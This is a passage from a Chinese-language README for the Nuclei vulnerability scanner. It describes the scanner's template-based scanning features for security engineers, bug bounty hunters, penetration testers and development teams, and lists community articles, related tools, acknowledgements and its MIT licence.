http://uat.example.com更多关于Nuclei的详细实例可以在这里找到对于安全工程师Nuclei提供了大量有助于安全工程师在工作流定制相关的功能。通过各种扫描功能（如DNS、HTTP、TCP），安全工程师可以更轻松的使用Nuclei创建一套自定义的检查方式。支持多种协议：TCP、DNS、HTTP、FILE等通过工作流和动态请求实现复杂的漏洞扫描易于集成到CI/CD，旨在可以轻松的集成到周期扫描中，以主动检测漏洞的修复和重新出现 对于赏金猎人：Nuclei允许您定制自己的测试方法，可以轻松的运行您的程序。此外Nuclei可以更容易的集成到您的漏洞扫描工作流中。可以集成到其他工作流中可以在几分钟处理上千台主机使用YAML语法定制自动化测试欢迎查看我们其他的开源项目，可能有适合您的赏金猎人工作流：github.com/projectdiscovery，我们还使用Chaos绘制了每日的DNS数据。 对于渗透测试：Nuclei通过增加手动、自动的过程，极大地改变了安全评估的方式。一些公司已经在用Nuclei升级他们的手动测试步骤，可以使用Nulcei对数千台主机使用同样的流程自动化测试。渗透测试员可以使用公共模板或者自定义模板来更快的完成渗透测试，特别是漏洞验证时，可以轻松的验证漏洞是否修复。轻松根据您的要求创建标准清单（例如：OWASP TOP 10）通过FUZZ和工作流等功能，可以使用Nuclei完成复杂的手动步骤和重复性渗透测试只需要重新运行Nuclei即可验证漏洞修复情况 对于开发和组织Nuclei构建很简单，通过数百名安全研究员的社区模板，Nuclei可以随时扫描来了解安全威胁。Nuclei通常用来用于复测，以确定漏洞是否被修复。CI/CD：工程师已经支持了CI/CD，可以通过Nuclei使用定制模板来监控模拟环境和生产环境周期性扫描：使用Nuclei创建新发现的漏洞模板，通过Nuclei可以周期性扫描消除漏洞我们有个讨论组，黑客提交自己的模板后可以获得赏金，这可以减少资产的漏洞，并且减少重复。如果你想实行该计划，可以联系我。我们非常乐意提供帮助，或者在讨论组中发布相关信息。 资源使用PinkDraconian发现Nuclei的BUG (Robbe Van Roey) 作者：@PinkDraconianNuclei: 强而有力的扫描器 作者：BishopfoxWAF有效性检查 作者：Fastly在CI/CD中使用Nuclei实时扫描网页应用 作者：@TristanKalos使用Nuclei扫描Nuclei Unleashed - 快速编写复杂漏洞Nuclei - FUZZ一切Nuclei + Interactsh Integration，用于自动化OOB测试武器化Nuclei 作者：@dwisiswant0如何使用Nuclei连续扫描？ 作者：@dwisiswant0自动化攻击 作者：@DhiyaneshGeek致谢感谢所有社区贡献者提供的PR，另外您可以其他类似的开源项目：FFuF, Qsfuzz, Inception, Snallygaster, Gofingerprint, Sn1per, Google tsunami, Jaeles, ChopChop许可证Nuclei使用MIT许可证